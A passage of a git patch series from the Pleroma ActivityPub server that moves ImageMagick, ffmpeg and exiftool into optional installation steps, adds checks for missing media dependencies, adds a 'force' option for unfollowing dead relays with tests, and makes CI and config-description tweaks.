changed, 2 insertions(+) diff --git a/test/web/activity_pub/mrf/mrf_test.exs b/test/web/activity_pub/mrf/mrf_test.exs index a63b25423..e82c8afa6 100644 --- a/test/web/activity_pub/mrf/mrf_test.exs +++ b/test/web/activity_pub/mrf/mrf_test.exs @@ -61,6 +61,8 @@ test "matches are case-insensitive" do describe "describe/0" do test "it works as expected with noop policy" do + clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.NoOpPolicy]) + expected = %{ mrf_policies: ["NoOpPolicy"], exclusions: false -- cgit v1.2.3 From 4e4f77108207157a49a627edb03951e2f15b62f1 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Sat, 26 Sep 2020 19:32:16 +0300 Subject: Adjusted MediaProxyControllerTest to gracefully fail on missing dependencies. Installation docs update. Added ffmpeg/imagemagick checks to launch checks (if media preview proxy is enabled). Added documentation on installing optional media / graphics packages (imagemagick, ffmpeg, exiftool). --- docs/installation/alpine_linux_en.md | 18 ++++++------ docs/installation/arch_linux_en.md | 13 +++++++-- docs/installation/debian_based_en.md | 13 +++++++-- docs/installation/debian_based_jp.md | 12 ++++++-- docs/installation/freebsd_en.md | 8 +++++- docs/installation/gentoo_en.md | 13 +++++++-- docs/installation/netbsd_en.md | 4 +++ docs/installation/openbsd_en.md | 13 +++++++++ docs/installation/openbsd_fi.md | 11 ++++++++ .../optional/media_graphics_packages.md | 32 ++++++++++++++++++++++ docs/installation/otp_en.md | 25 ++++++++++++++--- lib/pleroma/application.ex | 18 +++++++++++- lib/pleroma/helpers/media_helper.ex | 12 ++++++++ .../media_proxy/media_proxy_controller_test.exs | 15 ++++++++++ 14 files changed, 180 insertions(+), 27 deletions(-) create mode 100644 docs/installation/optional/media_graphics_packages.md diff --git a/docs/installation/alpine_linux_en.md b/docs/installation/alpine_linux_en.md index 0b9f5cdae..d89c7f46f 100644 --- a/docs/installation/alpine_linux_en.md +++ b/docs/installation/alpine_linux_en.md @@ -13,8 +13,6 @@ It assumes that you have administrative rights, either as root or a user with [s * `erlang-parsetools` * `erlang-xmerl` * `git` -* `ffmpeg` -* `ImageMagick` * Development Tools * `cmake` @@ -22,6 +20,9 @@ It assumes that you have administrative rights, either as root or a user with [s * `nginx` (preferred, example configs for other reverse proxies can be found in the repo) * `certbot` (or any other ACME client for Let’s Encrypt certificates) +* `ImageMagick` +* `ffmpeg` +* `exiftool` ### Prepare the system @@ -31,7 +32,6 @@ It assumes that you have administrative rights, either as root or a user with [s awk 'NR==2' /etc/apk/repositories | sed 's/main/community/' | tee -a /etc/apk/repositories ``` - * Then update the system, if not already done: ```shell @@ -59,12 +59,6 @@ sudo apk add erlang erlang-runtime-tools erlang-xmerl elixir sudo apk add erlang-eldap ``` -### Install ffmpeg and ImageMagick - -```shell -sudo apk add ffmpeg imagemagick -``` - ### Install PostgreSQL * Install Postgresql server: @@ -85,6 +79,12 @@ sudo /etc/init.d/postgresql start sudo rc-update add postgresql ``` +### Install media / graphics packages (optional, see [`docs/installation/optional/media_graphics_packages.md`](docs/installation/optional/media_graphics_packages.md)) + +```shell +sudo apk add ffmpeg imagemagick exiftool +``` + ### Install PleromaBE * Add a new system user for the Pleroma service: diff --git a/docs/installation/arch_linux_en.md b/docs/installation/arch_linux_en.md index 38bb82432..724b4660a 100644 --- a/docs/installation/arch_linux_en.md +++ b/docs/installation/arch_linux_en.md @@ -10,13 +10,14 @@ This guide will assume that you have administrative rights, either as root or a * `git` * `base-devel` * `cmake` -* `ffmpeg` -* `ImageMagick` #### Optional packages used in this guide * `nginx` (preferred, example configs for other reverse proxies can be found in the repo) * `certbot` (or any other ACME client for Let’s Encrypt certificates) +* `ImageMagick` +* `ffmpeg` +* `exiftool` ### Prepare the system @@ -29,7 +30,7 @@ sudo pacman -Syu * Install some of the above mentioned programs: ```shell -sudo pacman -S git base-devel elixir cmake ffmpeg imagemagick +sudo pacman -S git base-devel elixir cmake ``` ### Install PostgreSQL @@ -54,6 +55,12 @@ sudo -iu postgres initdb -D /var/lib/postgres/data sudo systemctl enable --now postgresql.service ``` +### Install media / graphics packages (optional, see [`docs/installation/optional/media_graphics_packages.md`](docs/installation/optional/media_graphics_packages.md)) + +```shell +sudo pacman -S ffmpeg imagemagick perl-image-exiftool +``` + ### Install PleromaBE * Add a new system user for the Pleroma service: diff --git a/docs/installation/debian_based_en.md b/docs/installation/debian_based_en.md index 30ee64c01..eac499a29 100644 --- a/docs/installation/debian_based_en.md +++ b/docs/installation/debian_based_en.md @@ -13,13 +13,14 @@ This guide will assume you are on Debian Stretch. This guide should also work wi * `git` * `build-essential` * `cmake` -* `ffmpeg` -* `ImageMagick` #### Optional packages used in this guide * `nginx` (preferred, example configs for other reverse proxies can be found in the repo) * `certbot` (or any other ACME client for Let’s Encrypt certificates) +* `ImageMagick` +* `ffmpeg` +* `exiftool` ### Prepare the system @@ -33,7 +34,7 @@ sudo apt full-upgrade * Install some of the above mentioned programs: ```shell -sudo apt install git build-essential postgresql postgresql-contrib cmake ffmpeg imagemagick +sudo apt install git build-essential postgresql postgresql-contrib cmake ``` ### Install Elixir and Erlang @@ -52,6 +53,12 @@ sudo apt update sudo apt install elixir erlang-dev erlang-nox ``` +### Optional packages: [`docs/installation/optional/media_graphics_packages.md`](docs/installation/optional/media_graphics_packages.md) + +```shell +sudo apt install imagemagick ffmpeg libimage-exiftool-perl +``` + ### Install PleromaBE * Add a new system user for the Pleroma service: diff --git a/docs/installation/debian_based_jp.md b/docs/installation/debian_based_jp.md index 219f40525..764afbe1a 100644 --- a/docs/installation/debian_based_jp.md +++ b/docs/installation/debian_based_jp.md @@ -17,13 +17,14 @@ - `git` - `build-essential` - `cmake` -- `ffmpeg` -- `ImageMagick` #### このガイドで利用している追加パッケージ - `nginx` (おすすめです。他のリバースプロキシを使う場合は、参考となる設定をこのリポジトリから探してください) - `certbot` (または何らかのLet's Encrypt向けACMEクライアント) +- `ImageMagick` +- `ffmpeg` +- `exiftool` ### システムを準備する @@ -38,7 +39,6 @@ sudo apt full-upgrade sudo apt install git build-essential postgresql postgresql-contrib cmake ffmpeg imagemagick ``` - ### ElixirとErlangをインストールします * Erlangのリポジトリをダウンロードおよびインストールします。 @@ -53,6 +53,12 @@ sudo apt update sudo apt install elixir erlang-dev erlang-nox ``` +### オプションパッケージ: [`docs/installation/optional/media_graphics_packages.md`](docs/installation/optional/media_graphics_packages.md) + +```shell +sudo apt install imagemagick ffmpeg libimage-exiftool-perl +``` + ### Pleroma BE (バックエンド) をインストールします * Pleroma用に新しいユーザーを作ります。 diff --git a/docs/installation/freebsd_en.md b/docs/installation/freebsd_en.md index 01b410a46..fdcb06c53 100644 --- a/docs/installation/freebsd_en.md +++ b/docs/installation/freebsd_en.md @@ -7,7 +7,7 @@ This document was written for FreeBSD 12.1, but should be work on future release This assumes the target system has `pkg(8)`. ``` -# pkg install elixir postgresql12-server postgresql12-client postgresql12-contrib git-lite sudo nginx gmake acme.sh cmake ffmpeg imagemagick +# pkg install elixir postgresql12-server postgresql12-client postgresql12-contrib git-lite sudo nginx gmake acme.sh cmake ``` Copy the rc.d scripts to the right directory: @@ -26,6 +26,12 @@ Setup the required services to automatically start at boot, using `sysrc(8)`. # service postgresql start ``` +### Install media / graphics packages (optional, see [`docs/installation/optional/media_graphics_packages.md`](docs/installation/optional/media_graphics_packages.md)) + +```shell +# pkg install imagemagick ffmpeg p5-Image-ExifTool +``` + ## Configuring Pleroma Create a user for Pleroma: diff --git a/docs/installation/gentoo_en.md b/docs/installation/gentoo_en.md index 9a8b54ece..638fc4e47 100644 --- a/docs/installation/gentoo_en.md +++ b/docs/installation/gentoo_en.md @@ -29,14 +29,15 @@ Gentoo quite pointedly does not come with a cron daemon installed, and as such i * `dev-lang/elixir` * `dev-vcs/git` * `dev-util/cmake` -* `media-video/ffmpeg` -* `media-gfx/imagemagick` #### Optional ebuilds used in this guide * `www-servers/nginx` (preferred, example configs for other reverse proxies can be found in the repo) * `app-crypt/certbot` (or any other ACME client for Let’s Encrypt certificates) * `app-crypt/certbot-nginx` (nginx certbot plugin that allows use of the all-powerful `--nginx` flag on certbot) +* `media-gfx/imagemagick` +* `media-video/ffmpeg` +* `media-libs/exiftool` ### Prepare the system @@ -49,7 +50,7 @@ Gentoo quite pointedly does not come with a cron daemon installed, and as such i * Emerge all required the required and suggested software in one go: ```shell - # emerge --ask dev-db/postgresql dev-lang/elixir dev-vcs/git www-servers/nginx app-crypt/certbot app-crypt/certbot-nginx dev-util/cmake media-video/ffmpeg media-gfx/imagemagick + # emerge --ask dev-db/postgresql dev-lang/elixir dev-vcs/git www-servers/nginx app-crypt/certbot app-crypt/certbot-nginx dev-util/cmake ``` If you would not like to install the optional packages, remove them from this line. @@ -89,6 +90,12 @@ If you do not plan to make any modifications to your Pleroma instance, cloning d Not only does this make it much easier to deploy changes you make, as you can commit and pull from upstream and all that good stuff from the comfort of your local machine then simply `git pull` on your instance server when you're ready to deploy, it also ensures you are compliant with the Affero General Public Licence that Pleroma is licenced under, which stipulates that all network services provided with modified AGPL code must publish their changes on a publicly available internet service and for free. It also makes it much easier to ask for help from and provide help to your fellow Pleroma admins if your public repo always reflects what you are running because it is part of your deployment procedure. +### Install media / graphics packages (optional, see [`docs/installation/optional/media_graphics_packages.md`](docs/installation/optional/media_graphics_packages.md)) + +```shell +# emerge --ask media-video/ffmpeg media-gfx/imagemagick media-libs/exiftool +``` + ### Install PleromaBE * Add a new system user for the Pleroma service and set up default directories: diff --git a/docs/installation/netbsd_en.md b/docs/installation/netbsd_en.md index 8cf2e4682..d5fa04fdf 100644 --- a/docs/installation/netbsd_en.md +++ b/docs/installation/netbsd_en.md @@ -44,6 +44,10 @@ pgsql=YES First, run `# /etc/rc.d/pgsql start`. Then, `$ sudo -Hu pgsql -g pgsql createdb`. +### Install media / graphics packages (optional, see [`docs/installation/optional/media_graphics_packages.md`](docs/installation/optional/media_graphics_packages.md)) + +`# pkgin install ImageMagick ffmpeg4 p5-Image-ExifTool` + ## Configuring Pleroma Create a user for Pleroma: diff --git a/docs/installation/openbsd_en.md b/docs/installation/openbsd_en.md index 277e5ec43..8092ac379 100644 --- a/docs/installation/openbsd_en.md +++ b/docs/installation/openbsd_en.md @@ -25,6 +25,19 @@ pkg_add elixir gmake git postgresql-server postgresql-contrib cmake ffmpeg Image Pleroma requires a reverse proxy, OpenBSD has relayd in base (and is used in this guide) and packages/ports are available for nginx (www/nginx) and apache (www/apache-httpd). Independently of the reverse proxy, [acme-client(1)](https://man.openbsd.org/acme-client) can be used to get a certificate from Let's Encrypt. +#### Optional software + +Per [`docs/installation/optional/media_graphics_packages.md`](docs/installation/optional/media_graphics_packages.md): + * ImageMagick + * ffmpeg + * exiftool + +To install the above: + +``` +pkg_add ImageMagick ffmpeg p5-Image-ExifTool +``` + #### Creating the pleroma user Pleroma will be run by a dedicated user, \_pleroma. Before creating it, insert the following lines in login.conf: ``` diff --git a/docs/installation/openbsd_fi.md b/docs/installation/openbsd_fi.md index 2cb03e73e..01cf34ab4 100644 --- a/docs/installation/openbsd_fi.md +++ b/docs/installation/openbsd_fi.md @@ -18,6 +18,17 @@ Asenna tarvittava ohjelmisto: `# pkg_add git elixir gmake postgresql-server-10.3 postgresql-contrib-10.3 cmake ffmpeg ImageMagick` +#### Optional software + +[`docs/installation/optional/media_graphics_packages.md`](docs/installation/optional/media_graphics_packages.md): + * ImageMagick + * ffmpeg + * exiftool + +Asenna tarvittava ohjelmisto: + +`# pkg_add ImageMagick ffmpeg p5-Image-ExifTool` + Luo postgresql-tietokanta: `# su - _postgresql` diff --git a/docs/installation/optional/media_graphics_packages.md b/docs/installation/optional/media_graphics_packages.md new file mode 100644 index 000000000..cb3d71188 --- /dev/null +++ b/docs/installation/optional/media_graphics_packages.md @@ -0,0 +1,32 @@ +# Optional software packages needed for specific functionality + +For specific Pleroma functionality (which is disabled by default) some or all of the below packages are required: + * `ImageMagic` + * `ffmpeg` + * `exiftool` + +Please refer to documentation in `docs/installation` on how to install them on specific OS. + +Note: the packages are not required with the current default settings of Pleroma. + +## `ImageMagick` + +`ImageMagick` is a set of tools to create, edit, compose, or convert bitmap images. + +It is required for the following Pleroma features: + * `Pleroma.Upload.Filters.Mogrify`, `Pleroma.Upload.Filters.Mogrifun` upload filters (related config: `Plaroma.Upload/filters` in `config/config.exs`) + * Media preview proxy for still images (related config: `media_preview_proxy/enabled` in `config/config.exs`) + +## `ffmpeg` + +`ffmpeg` is software to record, convert and stream audio and video. + +It is required for the following Pleroma features: + * Media preview proxy for videos (related config: `media_preview_proxy/enabled` in `config/config.exs`) + +## `exiftool` + +`exiftool` is media files metadata reader/writer. + +It is required for the following Pleroma features: + * `Pleroma.Upload.Filters.Exiftool` upload filter (related config: `Plaroma.Upload/filters` in `config/config.exs`) diff --git a/docs/installation/otp_en.md b/docs/installation/otp_en.md index 8fdf6b5b5..f6b05c887 100644 --- a/docs/installation/otp_en.md +++ b/docs/installation/otp_en.md @@ -27,19 +27,36 @@ Other than things bundled in the OTP release Pleroma depends on: * PostgreSQL (also utilizes extensions in postgresql-contrib) * nginx (could be swapped with another reverse proxy but this guide covers only it) * certbot (for Let's Encrypt certificates, could be swapped with another ACME client, but this guide covers only it) -* ffmpeg (needed for media preview proxy) -* ImageMagick (needed for media preview proxy) === "Alpine" ``` echo "http://nl.alpinelinux.org/alpine/latest-stable/community" >> /etc/apk/repositories apk update - apk add curl unzip ncurses postgresql postgresql-contrib nginx certbot ffmpeg imagemagick + apk add curl unzip ncurses postgresql postgresql-contrib nginx certbot ``` === "Debian/Ubuntu" ``` - apt install curl unzip libncurses5 postgresql postgresql-contrib nginx certbot ffmpeg imagemagick + apt install curl unzip libncurses5 postgresql postgresql-contrib nginx certbot + ``` + +### Installing optional packages + +Per [`docs/installation/optional/media_graphics_packages.md`](docs/installation/optional/media_graphics_packages.md): + * ImageMagick + * ffmpeg + * exiftool + +=== "Alpine" + ``` + echo "http://nl.alpinelinux.org/alpine/latest-stable/community" >> /etc/apk/repositories + apk update + apk add imagemagick ffmpeg exiftool + ``` + +=== "Debian/Ubuntu" + ``` + apt install imagemagick ffmpeg libimage-exiftool-perl ``` ## Setup diff --git a/lib/pleroma/application.ex b/lib/pleroma/application.ex index 00ec79a2a..d7d8e423e 100644 --- a/lib/pleroma/application.ex +++ b/lib/pleroma/application.ex @@ -268,7 +268,8 @@ defp check_system_commands do with true <- filter in filters, false <- Pleroma.Utils.command_available?(command_required) do Logger.error( - "#{filter} is specified in list of Pleroma.Upload filters, but the #{command_required} command is not found" + "#{filter} is specified in list of Pleroma.Upload filters, but the " <> + "#{command_required} command is not found" ) end end @@ -276,5 +277,20 @@ defp check_system_commands do check_filter.(Pleroma.Upload.Filters.Exiftool, "exiftool") check_filter.(Pleroma.Upload.Filters.Mogrify, "mogrify") check_filter.(Pleroma.Upload.Filters.Mogrifun, "mogrify") + + with true <- Config.get([:media_preview_proxy, :enabled]), + missing_graphics_tools = Pleroma.Helpers.MediaHelper.missing_dependencies(), + [] <- missing_graphics_tools do + :noop + else + false -> + :noop + + missing_graphics_tools -> + Logger.error( + "The following dependencies required by Media preview proxy " <> + "(which is currently enabled) are not installed: #{inspect(missing_graphics_tools)}" + ) + end end end diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index b6f35a24b..6b799173e 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -9,6 +9,18 @@ defmodule Pleroma.Helpers.MediaHelper do alias Pleroma.HTTP + require Logger + + def missing_dependencies do + Enum.reduce([imagemagick: "convert", ffmpeg: "ffmpeg"], [], fn {sym, executable}, acc -> + if Pleroma.Utils.command_available?(executable) do + acc + else + [sym | acc] + end + end) + end + def image_resize(url, options) do with executable when is_binary(executable) <- System.find_executable("convert"), {:ok, args} <- prepare_image_resize_args(options), diff --git a/test/web/media_proxy/media_proxy_controller_test.exs b/test/web/media_proxy/media_proxy_controller_test.exs index 33e6873f7..e9b584822 100644 --- a/test/web/media_proxy/media_proxy_controller_test.exs +++ b/test/web/media_proxy/media_proxy_controller_test.exs @@ -81,6 +81,15 @@ test "it returns 404 when url is in banned_urls cache", %{conn: conn, url: url} end describe "Media Preview Proxy" do + def assert_dependencies_installed do + missing_dependencies = Pleroma.Helpers.MediaHelper.missing_dependencies() + + assert missing_dependencies == [], + "Error: missing dependencies (please refer to `docs/installation`): #{ + inspect(missing_dependencies) + }" + end + setup do clear_config([:media_proxy, :enabled], true) clear_config([:media_preview_proxy, :enabled], true) @@ -184,6 +193,8 @@ test "with `static=true` and GIF image preview requested, responds with JPEG ima url: url, media_proxy_url: media_proxy_url } do + assert_dependencies_installed() + # Setting a high :min_content_length to ensure this scenario is not affected by its logic clear_config([:media_preview_proxy, :min_content_length], 1_000_000_000) @@ -270,6 +281,8 @@ test "thumbnails PNG images into PNG", %{ url: url, media_proxy_url: media_proxy_url } do + assert_dependencies_installed() + Tesla.Mock.mock(fn %{method: "head", url: ^media_proxy_url} -> %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/png"}]} @@ -290,6 +303,8 @@ test "thumbnails JPEG images into JPEG", %{ url: url, media_proxy_url: media_proxy_url } do + assert_dependencies_installed() + Tesla.Mock.mock(fn %{method: "head", url: ^media_proxy_url} -> %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]} -- cgit v1.2.3 From de993b856bc2145e7c4aaa47767c7edc826798c7 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Mon, 28 Sep 2020 09:16:42 +0300 Subject: added `force` option to the unfollow operation --- docs/API/admin_api.md | 6 +- lib/mix/tasks/pleroma/relay.ex | 13 +++- lib/pleroma/user.ex | 4 +- lib/pleroma/web/activity_pub/relay.ex | 20 ++++-- .../web/admin_api/controllers/relay_controller.ex | 16 ++--- .../api_spec/operations/admin/relay_operation.ex | 12 +++- test/tasks/relay_test.exs | 74 ++++++++++++++++++++++ test/web/activity_pub/relay_test.exs | 40 ++++++++++++ 8 files changed, 160 insertions(+), 25 deletions(-) diff --git a/docs/API/admin_api.md b/docs/API/admin_api.md index 7992db58f..ddcab1a2c 100644 --- a/docs/API/admin_api.md +++ b/docs/API/admin_api.md @@ -349,9 +349,9 @@ Response: ### Unfollow a Relay -Params: - -* `relay_url` +- Params: + - `relay_url` + - *optional* `force`: forcefully unfollow a relay even when the relay is not available. (default is `false`) Response: diff --git a/lib/mix/tasks/pleroma/relay.ex b/lib/mix/tasks/pleroma/relay.ex index a6d8d6c1c..bb808ca47 100644 --- a/lib/mix/tasks/pleroma/relay.ex +++ b/lib/mix/tasks/pleroma/relay.ex @@ -21,10 +21,19 @@ def run(["follow", target]) do end end - def run(["unfollow", target]) do + def run(["unfollow", target | rest]) do start_pleroma() - with {:ok, _activity} <- Relay.unfollow(target) do + {options, [], []} = + OptionParser.parse( + rest, + strict: [force: :boolean], + aliases: [f: :force] + ) + + force = Keyword.get(options, :force, false) + + with {:ok, _activity} <- Relay.unfollow(target, %{force: force}) do # put this task to sleep to allow the genserver to push out the messages :timer.sleep(500) else diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex index 03be61ccf..71ace1c34 100644 --- a/lib/pleroma/user.ex +++ b/lib/pleroma/user.ex @@ -915,9 +915,7 @@ defp do_unfollow(%User{} = follower, %User{} = followed) do FollowingRelationship.unfollow(follower, followed) {:ok, followed} = update_follower_count(followed) - {:ok, follower} = - follower - |> update_following_count() + {:ok, follower} = update_following_count(follower) {:ok, follower, followed} diff --git a/lib/pleroma/web/activity_pub/relay.ex b/lib/pleroma/web/activity_pub/relay.ex index b65710a94..6606e1780 100644 --- a/lib/pleroma/web/activity_pub/relay.ex +++ b/lib/pleroma/web/activity_pub/relay.ex @@ -30,12 +30,16 @@ def follow(target_instance) do end end - @spec unfollow(String.t()) :: {:ok, Activity.t()} | {:error, any()} - def unfollow(target_instance) do + @spec unfollow(String.t(), map()) :: {:ok, Activity.t()} | {:error, any()} + def unfollow(target_instance, opts \\ %{}) do with %User{} = local_user <- get_actor(), - {:ok, %User{} = target_user} <- User.get_or_fetch_by_ap_id(target_instance), + {:ok, target_user} <- fetch_target_user(target_instance, opts), {:ok, activity} <- ActivityPub.unfollow(local_user, target_user) do - User.unfollow(local_user, target_user) + case target_user.id do + nil -> User.update_following_count(local_user) + _ -> User.unfollow(local_user, target_user) + end + Logger.info("relay: unfollowed instance: #{target_instance}: id=#{activity.data["id"]}") {:ok, activity} else @@ -43,6 +47,14 @@ def unfollow(target_instance) do end end + defp fetch_target_user(ap_id, opts) do + case {opts[:force], User.get_or_fetch_by_ap_id(ap_id)} do + {_, {:ok, %User{} = user}} -> {:ok, user} + {true, _} -> {:ok, %User{ap_id: ap_id}} + {_, error} -> error + end + end + @spec publish(any()) :: {:ok, Activity.t()} | {:error, any()} def publish(%Activity{data: %{"type" => "Create"}} = activity) do with %User{} = user <- get_actor(), diff --git a/lib/pleroma/web/admin_api/controllers/relay_controller.ex b/lib/pleroma/web/admin_api/controllers/relay_controller.ex index 95d06dde7..6c19f09f7 100644 --- a/lib/pleroma/web/admin_api/controllers/relay_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/relay_controller.ex @@ -33,11 +33,7 @@ def index(conn, _params) do def follow(%{assigns: %{user: admin}, body_params: %{relay_url: target}} = conn, _) do with {:ok, _message} <- Relay.follow(target) do - ModerationLog.insert_log(%{ - action: "relay_follow", - actor: admin, - target: target - }) + ModerationLog.insert_log(%{action: "relay_follow", actor: admin, target: target}) json(conn, %{actor: target, followed_back: target in Relay.following()}) else @@ -48,13 +44,9 @@ def follow(%{assigns: %{user: admin}, body_params: %{relay_url: target}} = conn, end end - def unfollow(%{assigns: %{user: admin}, body_params: %{relay_url: target}} = conn, _) do - with {:ok, _message} <- Relay.unfollow(target) do - ModerationLog.insert_log(%{ - action: "relay_unfollow", - actor: admin, - target: target - }) + def unfollow(%{assigns: %{user: admin}, body_params: %{relay_url: target} = params} = conn, _) do + with {:ok, _message} <- Relay.unfollow(target, %{force: params[:force]}) do + ModerationLog.insert_log(%{action: "relay_unfollow", actor: admin, target: target}) json(conn, target) else diff --git a/lib/pleroma/web/api_spec/operations/admin/relay_operation.ex b/lib/pleroma/web/api_spec/operations/admin/relay_operation.ex index e06b2d164..f754bb9f5 100644 --- a/lib/pleroma/web/api_spec/operations/admin/relay_operation.ex +++ b/lib/pleroma/web/api_spec/operations/admin/relay_operation.ex @@ -56,7 +56,7 @@ def unfollow_operation do operationId: "AdminAPI.RelayController.unfollow", security: [%{"oAuth" => ["write:follows"]}], parameters: admin_api_params(), - requestBody: request_body("Parameters", relay_url()), + requestBody: request_body("Parameters", relay_unfollow()), responses: %{ 200 => Operation.response("Status", "application/json", %Schema{ @@ -91,4 +91,14 @@ defp relay_url do } } end + + defp relay_unfollow do + %Schema{ + type: :object, + properties: %{ + relay_url: %Schema{type: :string, format: :uri}, + force: %Schema{type: :boolean, default: false} + } + } + end end diff --git a/test/tasks/relay_test.exs b/test/tasks/relay_test.exs index e5225b64c..cf48e7dda 100644 --- a/test/tasks/relay_test.exs +++ b/test/tasks/relay_test.exs @@ -81,6 +81,80 @@ test "relay is unfollowed" do assert undo_activity.data["object"]["id"] == cancelled_activity.data["id"] refute "#{target_instance}/followers" in User.following(local_user) end + + test "unfollow when relay is dead" do + user = insert(:user) + target_instance = user.ap_id + + Mix.Tasks.Pleroma.Relay.run(["follow", target_instance]) + + %User{ap_id: follower_id} = local_user = Relay.get_actor() + target_user = User.get_cached_by_ap_id(target_instance) + follow_activity = Utils.fetch_latest_follow(local_user, target_user) + User.follow(local_user, target_user) + + assert "#{target_instance}/followers" in User.following(local_user) + + Tesla.Mock.mock(fn %{method: :get, url: ^target_instance} -> + %Tesla.Env{status: 404} + end) + + Pleroma.Repo.delete(user) + Cachex.clear(:user_cache) + + Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance]) + + cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"]) + assert cancelled_activity.data["state"] == "accept" + + assert [] == + ActivityPub.fetch_activities( + [], + %{ + type: "Undo", + actor_id: follower_id, + skip_preload: true, + invisible_actors: true + } + ) + end + + test "force unfollow when relay is dead" do + user = insert(:user) + target_instance = user.ap_id + + Mix.Tasks.Pleroma.Relay.run(["follow", target_instance]) + + %User{ap_id: follower_id} = local_user = Relay.get_actor() + target_user = User.get_cached_by_ap_id(target_instance) + follow_activity = Utils.fetch_latest_follow(local_user, target_user) + User.follow(local_user, target_user) + + assert "#{target_instance}/followers" in User.following(local_user) + + Tesla.Mock.mock(fn %{method: :get, url: ^target_instance} -> + %Tesla.Env{status: 404} + end) + + Pleroma.Repo.delete(user) + Cachex.clear(:user_cache) + + Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance, "--force"]) + + cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"]) + assert cancelled_activity.data["state"] == "cancelled" + + [undo_activity] = + ActivityPub.fetch_activities( + [], + %{type: "Undo", actor_id: follower_id, skip_preload: true, invisible_actors: true} + ) + + assert undo_activity.data["type"] == "Undo" + assert undo_activity.data["actor"] == local_user.ap_id + assert undo_activity.data["object"]["id"] == cancelled_activity.data["id"] + refute "#{target_instance}/followers" in User.following(local_user) + end end describe "mix pleroma.relay list" do diff --git a/test/web/activity_pub/relay_test.exs b/test/web/activity_pub/relay_test.exs index 9d657ac4f..3284980f7 100644 --- a/test/web/activity_pub/relay_test.exs +++ b/test/web/activity_pub/relay_test.exs @@ -63,6 +63,46 @@ test "returns activity" do assert activity.data["to"] == [user.ap_id] refute "#{user.ap_id}/followers" in User.following(service_actor) end + + test "force unfollow when target service is dead" do + user = insert(:user) + user_ap_id = user.ap_id + user_id = user.id + + Tesla.Mock.mock(fn %{method: :get, url: ^user_ap_id} -> + %Tesla.Env{status: 404} + end) + + service_actor = Relay.get_actor() + CommonAPI.follow(service_actor, user) + assert "#{user.ap_id}/followers" in User.following(service_actor) + + assert Pleroma.Repo.get_by( + Pleroma.FollowingRelationship, + follower_id: service_actor.id, + following_id: user_id + ) + + Pleroma.Repo.delete(user) + Cachex.clear(:user_cache) + + assert {:ok, %Activity{} = activity} = Relay.unfollow(user_ap_id, %{force: true}) + + assert refresh_record(service_actor).following_count == 0 + + refute Pleroma.Repo.get_by( + Pleroma.FollowingRelationship, + follower_id: service_actor.id, + following_id: user_id + ) + + assert activity.actor == "#{Pleroma.Web.Endpoint.url()}/relay" + assert user.ap_id in activity.recipients + assert activity.data["type"] == "Undo" + assert activity.data["actor"] == service_actor.ap_id + assert activity.data["to"] == [user_ap_id] + refute "#{user.ap_id}/followers" in User.following(service_actor) + end end describe "publish/1" do -- cgit v1.2.3 From ec2f70cd23ff77a1580650dd629a84f61df1d486 Mon Sep 17 00:00:00 2001 From: lain Date: Mon, 28 Sep 2020 14:14:32 +0200 Subject: CI: Add ffmpeg --- .gitlab-ci.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml index dc953a929..121e4abfe 100644 --- a/.gitlab-ci.yml +++ b/.gitlab-ci.yml @@ -59,7 +59,7 @@ unit-testing: alias: postgres command: ["postgres", "-c", "fsync=off", "-c", "synchronous_commit=off", "-c", "full_page_writes=off"] script: - - apt-get update && apt-get install -y libimage-exiftool-perl + - apt-get update && apt-get install -y libimage-exiftool-perl ffmpeg - mix deps.get - mix ecto.create - mix ecto.migrate @@ -93,7 +93,7 @@ unit-testing-rum: <<: *global_variables RUM_ENABLED: "true" script: - - apt-get update && apt-get install -y libimage-exiftool-perl + - apt-get update && apt-get install -y libimage-exiftool-perl ffmpeg - mix deps.get - mix ecto.create - mix ecto.migrate -- cgit v1.2.3 From 7ac4d1e7ee831cbbda535c00b7dc9aca053183be Mon Sep 17 00:00:00 2001 From: Angelina Filippova Date: Mon, 28 Sep 2020 18:13:45 +0300 Subject: Remove extra nesting and add labels in `:frontends` setting --- config/description.exs | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/config/description.exs b/config/description.exs index ac3dfbb2b..be9cb0a16 100644 --- a/config/description.exs +++ b/config/description.exs @@ -44,11 +44,13 @@ }, %{ key: "git", + label: "Git", type: :string, description: "URL of the git repository of the frontend" }, %{ key: "build_url", + label: "Build URL", type: :string, description: "Either an url to a zip file containing the frontend or a template to build it by inserting the `ref`. The string `${ref}` will be replaced by the configured `ref`.", @@ -56,6 +58,7 @@ }, %{ key: "build_dir", + label: "Build Dir", type: :string, description: "The directory inside the zip file " } @@ -3681,9 +3684,7 @@ type: :map, description: "A map containing available frontends and parameters for their installation.", - children: [ - frontend_options - ] + children: frontend_options } ] }, -- cgit v1.2.3 From 7bc561127da6489862d3b7ea49ebc853c0267729 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Mon, 28 Sep 2020 18:15:31 +0300 Subject: Revert citext user URI migration URI paths are not actually case-insesitive, which caused migration issues on a number of databases. Closes #2188 --- .../migrations/20200925065249_make_user_ids_ci.exs | 18 ++++-------------- .../migrations/20200928145912_revert_citext_change.exs | 11 +++++++++++ test/user_search_test.exs | 2 +- 3 files changed, 16 insertions(+), 15 deletions(-) create mode 100644 priv/repo/migrations/20200928145912_revert_citext_change.exs diff --git a/priv/repo/migrations/20200925065249_make_user_ids_ci.exs b/priv/repo/migrations/20200925065249_make_user_ids_ci.exs index b7305f137..8ea0f2cf1 100644 --- a/priv/repo/migrations/20200925065249_make_user_ids_ci.exs +++ b/priv/repo/migrations/20200925065249_make_user_ids_ci.exs @@ -1,19 +1,9 @@ defmodule Pleroma.Repo.Migrations.MakeUserIdsCI do use Ecto.Migration - def up do - alter table(:users) do - modify(:uri, 